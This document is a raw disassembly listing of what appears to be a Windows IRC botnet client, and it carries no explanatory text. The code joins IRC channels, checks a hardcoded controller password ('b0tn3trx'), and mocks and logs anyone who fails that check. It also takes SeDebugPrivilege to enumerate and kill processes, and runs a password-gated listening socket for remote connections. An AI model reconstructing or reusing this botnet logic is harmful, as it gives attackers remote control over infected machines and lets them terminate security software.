mov eax, [ebp+var_4]
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_46C], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_468], eax
lea eax, [ebp+var_508]
push eax ; Dest
mov [ebp+var_50C], esi
call __snprintf
add esp, 0Ch
push [ebp+var_478]
push esi
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dst]
push offset unk_42A75C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 11h ; int
push eax ; Source
call sub_416D48
add esp, 1Ch
mov [ebp+var_474], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset sub_407FD7
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_474]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_414CE7
loc_414CD1: ; CODE XREF: sub_40EE51+5E94j
cmp [ebp+var_464], ebx
jnz loc_40F215
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_414CD1
; ---------------------------------------------------------------------------
loc_414CE7: ; CODE XREF: sub_40EE51+5E7Ej
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_434438
jmp loc_40F3FE
; ---------------------------------------------------------------------------
loc_414CF8: ; CODE XREF: sub_40EE51+FBFj
; sub_40EE51+FD4j ...
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_414D20
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
mov [ebp+var_46C], ebx
test eax, eax
pop ecx
jnz short loc_414D2A
loc_414D20: ; CODE XREF: sub_40EE51+5EB6j
mov [ebp+var_46C], 1
loc_414D2A: ; CODE XREF: sub_40EE51+5ECDj
push [ebp+Format] ; Format
lea eax, [ebp+var_4F0]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_46C], ebx
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_414D71
mov eax, offset aUnsecuring ; "Unsecuring"
loc_414D71: ; CODE XREF: sub_40EE51+5F19j
push eax
push offset dword_4343EC ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_416D48
add esp, 1Ch
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_415F17
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_414DE1
loc_414DCF: ; CODE XREF: sub_40EE51+5F8Ej
cmp [ebp+var_460], ebx
jnz short loc_414DFC
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_414DCF
; ---------------------------------------------------------------------------
loc_414DE1: ; CODE XREF: sub_40EE51+5F7Cj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_4343A0 ; Format
loc_414DED: ; CODE XREF: sub_40EE51+3DACj
; sub_40EE51+4AB3j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_414DFC: ; CODE XREF: sub_40EE51+2ECEj
; sub_40EE51+396Aj ...
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
jmp loc_40F404
; ---------------------------------------------------------------------------
loc_414E0D: ; CODE XREF: sub_40EE51+F95j
; sub_40EE51+FAAj
push offset aH4ckerTool ; "h4cker tool"
push offset dword_434380 ; Format
loc_414E17: ; CODE XREF: sub_40EE51+4853j
; sub_40EE51+4B67j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_414E23: ; CODE XREF: sub_40EE51+56E3j
add esp, 0Ch
jmp loc_4110E5
; ---------------------------------------------------------------------------
loc_414E2B: ; CODE XREF: sub_40EE51+F6Bj
; sub_40EE51+F80j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414E8B
push esi ; Str
call _atoi
cmp eax, ebx
pop ecx
jl short loc_414E80
cmp eax, 2
jge short loc_414E80
mov edx, [ebp+Str1]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_414E75
lea eax, [esi+1]
push eax
lea eax, [ebp+Dst]
push offset dword_43770C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
mov [esi], bl
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_414E75: ; CODE XREF: sub_40EE51+6003j
push eax
push offset dword_434344
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_414E80: ; CODE XREF: sub_40EE51+5FEEj
; sub_40EE51+5FF3j
push eax
push offset dword_434308
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_414E8B: ; CODE XREF: sub_40EE51+5FE3j
mov edi, [ebp+Str1]
xor esi, esi
loc_414E90: ; CODE XREF: sub_40EE51+605Bj
push [ebp+Str2] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_414EB3
inc esi
add edi, 80h
cmp esi, 2
jl short loc_414E90
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_414EB3: ; CODE XREF: sub_40EE51+604Fj
mov eax, [ebp+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
push offset dword_43770C
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_414ECD: ; CODE XREF: sub_40EE51+F41j
; sub_40EE51+F56j
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_414F3C
call sub_416F11
push ebx
call ds:dword_42314C
loc_414EEF: ; CODE XREF: sub_40EE51+F17j
; sub_40EE51+F2Cj
push [ebp+esi+var_90] ; Str1
xor eax, eax
cmp [ebp+var_9B8], bl
setnz al
push eax ; int
lea eax, [ebp+var_928]
push ds:dword_42E5C8 ; int
push eax ; Dest
call sub_415CF0
lea eax, [ebp+var_928]
push eax ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
lea eax, [ebp+var_928]
push eax ; Args
push offset dword_4342D4 ; Format
call sub_40BFE3
loc_414F39: ; CODE XREF: sub_40EE51+2C12j
add esp, 24h
loc_414F3C: ; CODE XREF: sub_40EE51+65Cj
; sub_40EE51+668j ...
mov eax, [ebp+File]
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_414F44: ; CODE XREF: sub_40EE51+B19j
; sub_40EE51+B2Cj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+Src], esi
jz loc_40F215
cmp [ebp+var_AC], ebx
jnz loc_40F215
push offset asc_437788 ; "!"
push [ebp+Str2] ; Str
call _strtok
mov esi, eax
push offset byte_4397D4 ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_4342D0 ; "~"
push eax ; Str
call _strtok
push [ebp+Src] ; Str2
mov edi, eax
push offset aB0tn3trx ; "b0tn3trx"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_414FEC
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax ; Args
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
lea eax, [ebp+var_D8]
push eax ; Args
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push edi
push esi
push offset dword_434248 ; Format
loc_414FD8: ; CODE XREF: sub_40EE51+61F7j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 30h
jmp loc_40F7F5
; ---------------------------------------------------------------------------
loc_414FEC: ; CODE XREF: sub_40EE51+614Ej
mov [ebp+File], offset off_42E6B4
loc_414FF3: ; CODE XREF: sub_40EE51+61BEj
mov eax, [ebp+File]
push edi
push dword ptr [eax]
call sub_4170A1
pop ecx
test eax, eax
pop ecx
jnz short loc_41504A
add [ebp+File], 4
cmp [ebp+File], offset off_42E6B8
jl short loc_414FF3
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax ; Args
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
lea eax, [ebp+var_D8]
push eax ; Args
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push edi
push esi
push offset dword_43420C
jmp short loc_414FD8
; ---------------------------------------------------------------------------
loc_41504A: ; CODE XREF: sub_40EE51+61B1j
mov edi, [ebp+Str1]
xor esi, esi
loc_41504F: ; CODE XREF: sub_40EE51+6228j
cmp [ebp+Src], ebx
jz loc_40F215
cmp [edi], bl
jnz short loc_41506F
push [ebp+Src] ; Str2
push offset aB0tn3trx ; "b0tn3trx"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_415080
loc_41506F: ; CODE XREF: sub_40EE51+6209j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41504F
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_415080: ; CODE XREF: sub_40EE51+621Cj
shl esi, 7
add esi, [ebp+Str1]
lea eax, [ebp+var_AA8]
push 7Fh ; Count
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4150B7
push ebx ; int
push [ebp+var_4] ; int
push offset dword_4341DC ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_4150B7: ; CODE XREF: sub_40EE51+624Aj
lea eax, [ebp+var_D8]
push eax
push offset dword_4341AC
jmp loc_40F3FE
; ---------------------------------------------------------------------------
loc_4150C8: ; CODE XREF: sub_40EE51+20Ej
; sub_40EE51+223j
push [ebp+Source] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push offset aXi ; "+xi"
push [ebp+Source] ; Args
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
add esp, 2Ch
mov ds:dword_486D80, edi
jmp loc_40F0EE
sub_40EE51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41510E proc near ; CODE XREF: sub_409032+45p
; sub_409032+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_42313C ; GetCurrentProcess
push eax
call ds:dword_43C5FC ; OpenProcessToken
test eax, eax
jnz short loc_41512D
leave
retn
; ---------------------------------------------------------------------------
loc_41512D: ; CODE XREF: sub_41510E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_43C5D4 ; LookupPrivilegeValueA
test eax, eax
jz short loc_41516B
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_415154
or [ebp+var_8], 2
jmp short loc_415158
; ---------------------------------------------------------------------------
loc_415154: ; CODE XREF: sub_41510E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_415158: ; CODE XREF: sub_41510E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_43C684 ; AdjustTokenPrivileges
mov esi, eax
loc_41516B: ; CODE XREF: sub_41510E+32j
push [ebp+var_4]
call ds:dword_423074
mov eax, esi
pop esi
leave
retn
sub_41510E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415179(int,char *Str,int,char *Str2,int,int)
sub_415179 proc near ; CODE XREF: sub_40EE51+4B54p
; sub_41532A+74p
Dest = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
Str1 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_43C638, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_415323
cmp ds:dword_43C61C, ebx
jz loc_415323
cmp ds:dword_43C538, ebx
jz loc_415323
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41510E
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_43C638 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_415316
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call ds:dword_43C61C ; Process32First
mov esi, ds:dword_423074
test eax, eax
jz loc_415311
loc_41521C: ; CODE XREF: sub_415179+BEj
; sub_415179+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call ds:dword_43C538 ; Process32Next
test eax, eax
jz loc_415311
cmp [ebp+arg_10], ebx
jnz short loc_41521C
cmp [ebp+Str2], ebx
jnz loc_4152C9
cmp [ebp+Str], ebx
jz short loc_41521C
push [ebp+var_124]
push 8
call ds:dword_43C638 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_415286
lea eax, [ebp+var_350]
push eax
push edi
call ds:dword_43C4E4 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_41528C
lea eax, [ebp+var_230]
jmp short loc_415292
; ---------------------------------------------------------------------------
loc_415286: ; CODE XREF: sub_415179+EBj
push [ebp+var_124]
loc_41528C: ; CODE XREF: sub_415179+103j
lea eax, [ebp+Str1]
loc_415292: ; CODE XREF: sub_415179+10Bj
push eax
lea eax, [ebp+Dest]
push offset aSD_0 ; " %s (%d)"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push 1 ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
push edi
call esi
jmp loc_41521C
; ---------------------------------------------------------------------------
loc_4152C9: ; CODE XREF: sub_415179+C3j
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_41521C
push [ebp+var_124]
push ebx
push 1F0FFFh
call ds:dword_4230F8 ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi
push ebx
push edi
call ds:dword_423110
test eax, eax
jnz short loc_41530C
push edi
call esi
jmp short loc_415323
; ---------------------------------------------------------------------------
loc_41530C: ; CODE XREF: sub_415179+18Cj
push 1
pop eax
jmp short loc_415325
; ---------------------------------------------------------------------------
loc_415311: ; CODE XREF: sub_415179+9Dj
; sub_415179+B5j
push [ebp+var_4]
call esi
loc_415316: ; CODE XREF: sub_415179+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41510E
pop ecx
pop ecx
loc_415323: ; CODE XREF: sub_415179+3Aj
; sub_415179+46j ...
xor eax, eax
loc_415325: ; CODE XREF: sub_415179+196j
pop edi
pop esi
pop ebx
leave
retn
sub_415179 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41532A proc near ; DATA XREF: sub_40EE51+593Fo
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43780C ; Format
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_415389
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_40D670
add esp, 14h
loc_415389: ; CODE XREF: sub_41532A+3Dj
push [ebp+var_10] ; int
lea eax, [ebp+Str]
push esi ; int
push esi ; Str2
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_415179
add esp, 18h
test eax, eax
jnz short loc_4153B1
push offset unk_4377D4
jmp short loc_4153B6
; ---------------------------------------------------------------------------
loc_4153B1: ; CODE XREF: sub_41532A+7Ej
push offset unk_43779C ; Format
loc_4153B6: ; CODE XREF: sub_41532A+85j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4153E9
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_40D670
add esp, 14h
loc_4153E9: ; CODE XREF: sub_41532A+9Dj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_14]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_41532A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415408 proc near ; CODE XREF: sub_40EE51+4AF6p
; sub_416E83+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_4230F8 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41543A
push 0
push esi
call ds:dword_423110
test eax, eax
jnz short loc_41543A
push esi
xor edi, edi
call ds:dword_423074
loc_41543A: ; CODE XREF: sub_415408+1Aj
; sub_415408+27j
mov eax, edi
pop edi
pop esi
retn
sub_415408 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41543F proc near ; CODE XREF: UPX0:004030D2p
; UPX0:00403695p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call _rand
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_423698
call __ftol
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41543F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41546F proc near ; DATA XREF: sub_4156FD+1BEo
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
Args = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_44207C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call ds:dword_43C600 ; select
test eax, eax
jnz short loc_4154F3
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push edi
call ds:dword_423050
loc_4154F3: ; CODE XREF: sub_41546F+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call ds:dword_43C630 ; recv
lea eax, [ebp+Args]
push 10h
push eax
push dword ptr [esi]
call sub_415674
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_415674
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_415674
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call ds:dword_43C574 ; getpeername
test eax, eax
jz short loc_41556C
call ds:dword_43C5AC ; WSAGetLastError
push eax ; Args
push offset dword_437900 ; Format
call sub_40BFE3
push [ebp+arg_0]
call sub_417064
add esp, 0Ch
push edi
call ds:dword_423050
loc_41556C: ; CODE XREF: sub_41546F+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call ds:dword_43C5D0 ; gethostbyaddr
cmp eax, edi
jnz short loc_415596
push [ebp+var_18]
call ds:dword_43C6A4 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
jmp short loc_4155A4
; ---------------------------------------------------------------------------
loc_415596: ; CODE XREF: sub_41546F+10Dj
push dword ptr [eax] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
loc_4155A4: ; CODE XREF: sub_41546F+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_4397BC
push dword ptr [esi]
call ds:dword_43C668 ; send
cmp ds:dword_486D90, edi
jnz short loc_415606
push [ebp+var_18]
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Args]
push eax ; Args
call sub_4156CE
add esp, 10h
test eax, eax
jnz short loc_415606
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call ds:dword_43C668 ; send
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push edi
call ds:dword_423050
loc_415606: ; CODE XREF: sub_41546F+14Cj
; sub_41546F+16Dj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset dword_4378B4 ; Format
call sub_40BFE3
push [ebp+arg_0]
call sub_4165B2
add esp, 10h
test eax, eax
jnz short loc_41564D
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_437878 ; Format
call sub_40BFE3
push [ebp+arg_0]
call sub_417064
add esp, 0Ch
push ebx
call ds:dword_423050
loc_41564D: ; CODE XREF: sub_41546F+1B9j
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset dword_437840 ; Format
call sub_40BFE3
push [ebp+arg_0]
call sub_417064
add esp, 10h
push edi
call ds:dword_423050
sub_41546F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415674 proc near ; CODE XREF: sub_41546F+9Ap
; sub_41546F+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call ds:dword_43C630 ; recv
cmp eax, 1
jnz short loc_4156C4
mov esi, [ebp+arg_4]
loc_415692: ; CODE XREF: sub_415674+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_4156B9
test al, al
jz short loc_4156C8
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call ds:dword_43C630 ; recv
cmp eax, 1
jz short loc_415692
jmp short loc_4156C4
; ---------------------------------------------------------------------------
loc_4156B9: ; CODE XREF: sub_415674+27j
push offset dword_43793C ; Format
call sub_40BFE3
pop ecx
loc_4156C4: ; CODE XREF: sub_415674+19j
; sub_415674+43j
xor eax, eax
jmp short loc_4156CB
; ---------------------------------------------------------------------------
loc_4156C8: ; CODE XREF: sub_415674+2Bj
push 1
pop eax
loc_4156CB: ; CODE XREF: sub_415674+52j
pop esi
leave
retn
sub_415674 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4156CE(char *Args,int,char *Str1)
sub_4156CE proc near ; CODE XREF: sub_41546F+163p
Args = dword ptr 4
arg_4 = dword ptr 8
Str1 = dword ptr 0Ch
push [esp+Args] ; Str2
push [esp+4+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4156F9
push [esp+arg_4]
push [esp+4+Args] ; Args
push offset dword_437974 ; Format
call sub_40BFE3
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4156F9: ; CODE XREF: sub_4156CE+11j
push 1
pop eax
retn
sub_4156CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156FD proc near ; DATA XREF: sub_40EE51+5603o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
Source = byte ptr -414h
var_214 = dword ptr -214h
Str = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call ds:dword_43C590 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_415756
push eax ; Args
push offset dword_437B38 ; Format
call sub_40BFE3
push [ebp+var_4C]
call sub_417064
add esp, 0Ch
push edi
call ds:dword_423050
loc_415756: ; CODE XREF: sub_4156FD+3Aj
push edi
push offset loc_41597B
call ds:dword_423174 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_41578F
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_437AE8 ; Format
call sub_40BFE3
pop ecx
pop ecx
call ds:dword_43C578 ; WSACleanup
push [ebp+var_4C]
call sub_417064
pop ecx
push edi
call ds:dword_423050
loc_41578F: ; CODE XREF: sub_4156FD+67j
push ebx
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_50]
call ds:dword_43C618 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call ds:dword_43C698 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_415906
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov ds:dword_44207C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call ds:dword_43C644 ; bind
test eax, eax
jnz loc_415906
push 7FFFFFFFh
push ebx
call ds:dword_43C640 ; listen
test eax, eax
jnz loc_415906
push offset dword_437A9C
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_40BF6F
pop ecx
mov [ebp+arg_0], edi
loc_41581E: ; CODE XREF: sub_4156FD+15Aj
; sub_4156FD+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call ds:dword_43C6AC ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_415909
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call ds:dword_43C5F8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41581E
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset dword_437A48 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_40BF6F
push edi ; int
lea eax, [ebp+Source]
push 6 ; int
push eax ; Source
call sub_416D48
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov ds:dword_442074[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_41546F
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_42309C
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov ds:dword_442084[ecx], eax
jz short loc_4158F1
loc_4158DE: ; CODE XREF: sub_4156FD+1F2j
cmp [ebp+var_38], esi
jnz loc_41581E
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4158DE
; ---------------------------------------------------------------------------
loc_4158F1: ; CODE XREF: sub_4156FD+1DFj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_4379FC ; Format
call sub_40BFE3
pop ecx
pop ecx
jmp short loc_415909
; ---------------------------------------------------------------------------
